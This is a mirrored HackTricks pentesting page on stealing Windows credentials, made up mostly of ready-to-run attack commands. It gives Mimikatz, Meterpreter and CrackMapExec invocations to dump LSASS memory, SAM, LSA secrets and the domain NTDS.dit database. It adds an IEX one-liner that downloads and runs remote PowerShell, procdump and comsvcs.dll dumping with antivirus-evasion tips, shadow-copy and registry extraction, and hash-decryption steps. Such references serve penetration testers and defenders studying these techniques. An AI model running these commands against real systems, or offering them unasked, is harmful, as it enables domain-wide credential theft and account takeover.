mirror of
https://github.com/carlospolop/hacktricks
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282 lines
11 KiB
Markdown
282 lines
11 KiB
Markdown
# Stealing Credentials
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## Credentials Mimikatz
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```bash
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#Elevate Privileges to extract the credentials
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privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
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token::elevate
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#Extract from lsass (memory)
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sekurlsa::logonpasswords
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#Extract from SAM
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lsadump::sam
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#One liner
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mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
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```
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**Find other things that Mimikatz can do in** [**this page**](credentials-mimikatz.md)**.**
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### Invoke-Mimikatz
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```bash
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IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
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Invoke-Mimikatz -DumpCreds #Dump creds from memory
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Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
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```
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[**Learn about some possible credentials protections here.**](credentials-protections.md) **This protections could prevent Mimikatz from extracting some credentials.**
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## Credentials with Meterpreter
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Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **that** I have created to **search for passwords and hashes** inside the victim.
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```bash
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#Credentials from SAM
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post/windows/gather/smart_hashdump
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hashdump
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#Using kiwi module
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load kiwi
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creds_all
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kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"
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#Using Mimikatz module
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load mimikatz
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mimikatz_command -f "sekurlsa::logonpasswords"
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mimikatz_command -f "lsadump::sam"
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```
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## Bypassing AV
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### Procdump + Mimikatz
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As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender. \
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You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump.
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{% code title="Dump lsass" %}
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```bash
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#Local
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C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
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#Remote, mount https://live.sysinternals.com which contains procdump.exe
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net use Z: https://live.sysinternals.com
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Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
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```
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{% endcode %}
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{% code title="Extract credentials from the dump" %}
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```c
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//Load the dump
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mimikatz # sekurlsa::minidump lsass.dmp
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//Extract credentials
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mimikatz # sekurlsa::logonPasswords
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```
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{% endcode %}
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This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
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**Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead o**f the **name lsass.exe.**
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### Dumping lsass with **comsvcs.dll**
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There’s a DLL called **comsvcs.dll**, located in `C:\Windows\System32` that **dumps process memory** whenever they **crash**. This DLL contains a **function** called **`MiniDumpW`** that is written so it can be called with `rundll32.exe`.\
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The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word **full**. There is no other choice.\
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Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file.\
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Thanks to this function, we can use **comsvcs.dll** to dump lsass process instead of uploading procdump and executing it. (This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/))
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```
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rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
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```
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We just have to keep in mind that this technique can only be executed as **SYSTEM**.
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**You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.**
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## CrackMapExec
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### Dump SAM hashes
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```
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cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
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```
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### Dump LSA secrets
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```
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cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
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```
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### Dump the NTDS.dit from target DC
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```
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cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
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#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
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```
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### Dump the NTDS.dit password history from target DC 
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```
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#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
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```
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### Show the pwdLastSet attribute for each NTDS.dit account
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```
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#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
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```
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## Stealing SAM & SYSTEM
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This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected.
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### From Registry
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The easiest way to steal those files is to get a copy from the registry:
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```
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reg save HKLM\sam sam
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reg save HKLM\system system
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reg save HKLM\security security
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```
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**Download** those files to your Kali machine and **extract the hashes** using:
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```
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samdump2 SYSTEM SAM
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impacket-secretsdump -sam sam -security security -system system LOCAL
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```
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### Volume Shadow Copy
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You can perform copy of protected files using this service. You need to be Administrator.
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#### Using vssadmin
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vssadmin binary is only available in Windows Server versions
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```bash
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vssadmin create shadow /for=C:
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#Copy SAM
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
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#Copy SYSTEM
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
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#Copy ntds.dit
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
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# You can also create a symlink to the shadow copy and access it
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mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
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```
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But you can do the same from **Powershell**. This is an example of **how to copy the SAM file** (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file:
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```bash
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$service=(Get-Service -name VSS)
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if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
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$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
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$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
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cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
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$voume.Delete();if($notrunning -eq 1){$service.Stop()}
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```
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Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
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### Invoke-NinjaCopy
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Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit.
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```bash
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Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
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```
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## **Active Directory Credentials - NTDS.dit**
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**The Ntds.dit file is a database that stores Active Directory data**, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.
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The important NTDS.dit file will be **located in**: _%SystemRoom%/NTDS/ntds.dit_\
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__This file is a database _Extensible Storage Engine_ (ESE) and is "officially" composed by 3 tables:
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* **Data Table**: Contains the information about the objects (users, groups...)
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* **Link Table**: Information about the relations (member of...)
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* **SD Table**: Contains the security descriptors of each object
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More information about this: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
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Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part** of the **NTDS.dit** file could be located **inside the **_**lsass**_** memory** (you can find the lastet accessed data probably because of the performance impruve by using a **cache**).
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#### Decrypting the hashes inside NTDS.dit
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The hash is cyphered 3 times:
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1. Decrypt Password Encryption Key (**PEK**) using the **BOOTKEY** and **RC4**.
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2. Decrypt tha **hash** using **PEK** and **RC4**.
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3. Decrypt the **hash** using **DES**.
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**PEK** have the **same value** in **every domain controller**, but it is **cyphered** inside the **NTDS.dit** file using the **BOOTKEY** of the **SYSTEM file of the domain controller (is different between domain controllers)**. This is why to get the credentials from the NTDS.dit file **you need the files NTDS.dit and SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
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### Copying NTDS.dit using Ntdsutil
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Available since Windows Server 2008.
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```bash
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ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
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```
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You could also use the [**volume shadow copy**](./#stealing-sam-and-system) **** trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** (again, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) **** trick).
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### **Extracting hashes from NTDS.dit**
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Once you have **obtained** the files **NTDS.dit** and **SYSTEM** you can use tools like _secretsdump.py_ to **extract the hashes**:
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```bash
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secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
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```
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You can also **extract them automatically** using a valid domain admin user:
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```
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secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
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```
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For **big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump).
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Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain\_hashdump_ or **mimikatz** `lsadump::lsa /inject` 
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## Lazagne
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Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software.
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```
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lazagne.exe all
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```
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## Other tools for extracting credentials from SAM and LSASS
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### Windows credentials Editor (WCE)
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This tool can be used to extract credentials from the memory. Download it from: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
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### fgdump
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Extract credentials from the SAM file
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```
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You can find this binary inside Kali, just do: locate fgdump.exe
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fgdump.exe
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```
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### PwDump
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Extract credentials from the SAM file
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```
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You can find this binary inside Kali, just do: locate pwdump.exe
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PwDump.exe -o outpwdump -x 127.0.0.1
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type outpwdump
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```
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### PwDump7
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Download it from:[ http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) and just **execute it** and the passwords will be extracted.
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## Defenses
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****[**Learn about some credentials protections here.**](credentials-protections.md)****
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